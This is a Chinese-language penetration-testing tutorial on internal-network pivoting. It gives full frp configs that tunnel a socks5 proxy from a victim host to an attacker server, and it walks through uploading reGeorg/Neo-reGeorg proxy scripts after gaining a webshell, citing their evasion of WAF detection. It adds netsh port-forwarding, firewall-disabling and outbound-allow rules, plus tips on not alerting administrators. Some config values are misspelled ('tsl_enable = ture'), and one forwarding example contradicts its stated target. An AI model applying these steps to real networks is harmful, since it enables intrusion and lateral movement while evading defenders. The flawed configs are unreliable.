一、利用frp進行加密內網穿透
1、FRP簡介:
簡單來說,frp就是正經的內網穿透工具,被不正經的人用來從事不正經的活動。目前就使用體驗來說,frp 的代理網絡比cobalt strike的socks4a好用一些。
項目地址:https://github.com/fatedier/frp
2、FRP的下載於安裝:
https://github.com/fatedier/frp/releases 這個是作者自己編譯好的文件,根據我們自己的系統下載響應版本的程序即可,注意:
由於該程序的功能較多,並且是Golang打包的二進制文件,所以文件體積會比較大,在實戰環境中可以先用UPX(https://github.com/upx/upx/releases)壓縮殼,壓縮后再使用。
壓縮后frp文件的體積只有原來的四分之一:
Upx.exe -9 frpc.exe
Upx.exe -9 frps.exe
3、FRP建立socks5代理:
①服務器【Windows端】,IP:192.168.100.50
Frps.ini文件內容:
[common]
bind_addr = 0.0.0.0
bind_port = 7000 //frp server端監聽一個端口,等待frp client的連接
然后執行frps.exe -c frps.ini ,如果是linux就是./frps -c ./frps.ini
②目標(受害者)機器【Windows端】
Frpc.ini文件內容:
[common]
server_addr = 192.168.100.50 //frp server的IP
server_port = 7000 //frp server上開放的端口,就是frpc.ini中寫的端口
tsl_enable = ture
pool_count = 5
[plugin_socks]
type = tcp
remote_port = 1080 //會讓server端在vps開啟1080端口,以供socks5服務
plugin = socks5
plugin_user = 111 //socks5接入時的賬號
plugin_passwd = 111 //socks5接入時的密碼
use_encryption = ture //加密數據
use_compression = ture //壓縮數據
然后執行frpc.exe -c frpc.ini ,如果是linux就是./frpc -c ./frpc.ini
③用代理服務器連接即可,注意填寫,frpc.ini中設置的賬號密碼:
二、利用reGeorg建立http加密代理
1、reGeorg簡介:
在拿到webshell之后,如果發現無法提權也無法執行命令,只能停留在web層面,如果不做web的權限維持,那就只能選擇內網滲透了,抓緊時間了解內網的整體情況。因此在web層面也是可以代理的,方法就是利用腳本去復用http端口。
reGeorg是一款基於web的代理工具,我們可以通過它將腳本上傳到目標web服務器后進行訪問,從而跟客戶端配合建立Socks服務。該代理工具於2014年被公開於BlackHat,其前身是2008年SensePost在BlackHat USA 2008的reDuh延伸於擴展,可以看看:https://www.blackhat.com/eu-14/arsenal.html#regeorg
2、reGeorg的使用:
客戶端需要安裝一些python包,報錯就自行安裝,一般是urllib3的包,pip install urllib3即可。
項目地址:https://github.com/sensepost/reGeorg
3、reGeorg的弊端:
因為很多人使用,所以一般waf都會將它列入查殺的對象,檢測流量和腳本特征。
4、Neo-reGeorg簡介:
Neo-reGeorg是reGeorg的重構項目,至今還在更新,並且與reGeorg的用法非常相似,相較於reGeorg它有一下幾點優勢:
①添加了連接密碼
②將傳輸過程進行加密的同時避免特征檢測(原本的reGeorg是明文的)
③支持更多的格式
https://github.com/L-codes/Neo-reGeorg
5、Neo-reGeorg的代理:
①生成腳本:
Python3 neoreg.py generate -k <連接密碼> -o <指定輸出目錄>
②上傳腳本
生成后,挑一個能在客戶端執行的腳本上傳
③執行腳本
執行腳本后會自動生成一個socks5代理的1080端口給我們使用,我們也可以在命令后面加上-p <端口>和-I <IP>來更換。
連接代理成功,流量將從本機的1080端口轉發到內網主機上
④用proxifier等工具連接即可
然后配置一下代理規則,讓其選擇通過192.168.109.*這個地址段,也可以選擇任意端口任意地址,也可以代理本地的mstsc.exe等等,根據自己的需求來。
當然,我們也可以直接在火狐瀏覽器開代理:
Neo-reGeorg還有許多高級用法,例如偽裝成404頁面等等,可以去https://github.com/L-codes/Neo-reGeorg/blob/master/README.md 看看。
三、利用系統自帶的netsh進行內網轉發
1、netsh簡介:
Netsh是一款自帶的高級網絡配置管理器,利用它可以輕松的管理本地或者遠程機器的Windows防火牆及各類系統網絡配置。它一開始是為了讓運維更加舒服的工具,后面被滲透老手發現了沒被用來從事滲透活動,成為一個既沒有進程又較被殺的轉發工具。
2、使用場景:
郵件服務器10.10.10.6只能被FTP服務器訪問,而FTP 沒有開啟防火牆,那么我們就可以利用netsh讓FTP服務器監聽一個端口,然后把該端口的數據轉發到其他機器的某個端口(例如轉發到郵件服務器10.10.10.6的443端口)
Netsh的用法跟LCX的-tran參數一樣,所以我們可以在FTP服務器(192.168.1.128)上使用netsh,然后在web服務器(192.168.2.3)上使用lcx轉發或者建立一個反向的socks代理到我們的VPS上即可。
即:Hacker ==> Socks ==> 192.168.1.128:8443 -->10.10.10.6:443
netsh interface portproxy add v4tov4 listenaddress=192.168.1.128 listenport=8443 connectaddress=192.168.1.4 connectport=443
此時我們只要在192.168.2.3建立一個反向的socks代理規則后,訪問FTP服務器的192.168.1.128的8443端口,就能訪問郵件服務器的web了。
Ⅰ 顯示所有netsh端口轉發規則:
netsh interface portproxy show v4tov4
Ⅱ 刪除某條規則
netsh interface portproxy delete v4tov4 listenaddress=192.168.1.128 listenport=8443
四、netsh在滲透中應用【防火牆】
1、netsh在滲透中的應用【防火牆】:
其實Netsh不僅僅被用來做端口轉發的工具,還有很多功能可以用於滲透當中。
2、用於獲取基礎信息:
① 查看IP配置信息:
Netsh interface ip show config
② 開/關網卡:
Netsh int set int name=”ethernet” admin=enabled
Netsh int set int name=”ethernet” admin=disabled
③ 設置本機IP、子網掩碼、網關IP:
Netsh interface ip set address “local area connection” static 192.168.1.2 255.255.255.0 192.168.1.1
3、控制系統防火牆——開關防火牆:
① 關閉防火牆:
Netsh advfirewall set allprofiles state off //全部關閉
Netsh firewall set opmode mode=disable //會有公用網絡的不關閉
② 開啟防火牆:
Netsh advfirewall set allprofiles state on //全部開啟
Netsh firewall set opmode mode=enable //會有公用網絡的不關閉
③ 查看所有防火牆規則:
Netsh advfirewall firewall show rule name=all
④ 查看當前防火牆狀態:
Netsh advfirewall show currentprofile
4、配置防火牆規則
Netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80 action=block
新建一條名為:Block Ports的規則,該規則的作用是攔截遠程訪問80端口的一切基於TCP協議的連接
Name:規則名稱(取⼀個描述性的名字)
Protecol:要阻⽌的協議(⼤部分是UDP或TCP)
Dir:阻⽌的⽅向。可以是IN或OUT
Remote Port:要阻⽌的⽬標主機的端口
Action:可以是阻⽌或允許。在本例中,我們要阻⽌連接。
也可以用netsh advfirewall firewall add rule ?看一下用法
實例:
① 新建⼀條名為:Test,允許數據從443端口進來基於TCP協議的規則
Netsh advfirewall firewall add rule name=test protocol=TCP dir=IN localport=443 action=allow
② 新建⼀條名為:Test,禁⽌ICMP出去的規則
Netsh advfirewall firewall add rule name=test protocol=ICMPv4 dir=OUT action=block
Netsh advfirewall firewall add rule name=test protocol=ICMPv6 dir=OUT action=block
③ 新建⼀條名為:Test,禁⽌數據去往8443,443端口TCP協議的規則
Netsh advfirewall firewall add rule name=test protocol=TCP remoteport=8443,443 dir=OUT action=block
④ 新建⼀條名為:Test,只允許192.168.2.2和192.168.2.3訪問本機HTTP端口80的規則
Netsh advfirewall firewall add rule name=test protocol=TCP dir=IN remoteip=192.168.2.2,192.168.2.3 localport=80 action=allow
⑤ 新建⼀條名為:Test,允許c:\1.exe該程序進⾏任何出⽹請求的規則
Netsh advfirewall firewall add rule name=test program="c:\1.exe" DIR=out action=allow
⑥ 刪除⼀條名為:Test,允許c:\1.exe該程序進⾏任何出⽹請求的規則
Netsh advfirewall firewall delete rule name=test program="c:\1.exe" DIR=out
⑦ 刪除命名為Test的所有規則
Netsh advfirewall firewall delete rule name="Test"
可以實現一個名字,多條規則
最后,關閉防火請需要謹慎,在大型機構內,系統防火牆會被外部防火牆監控着的,有關閉改動的情況是會提醒管理員的,特別是關鍵部位的機器,普通機器可能風險小一些。因此能不動防火牆就不動,能新增就不要關閉。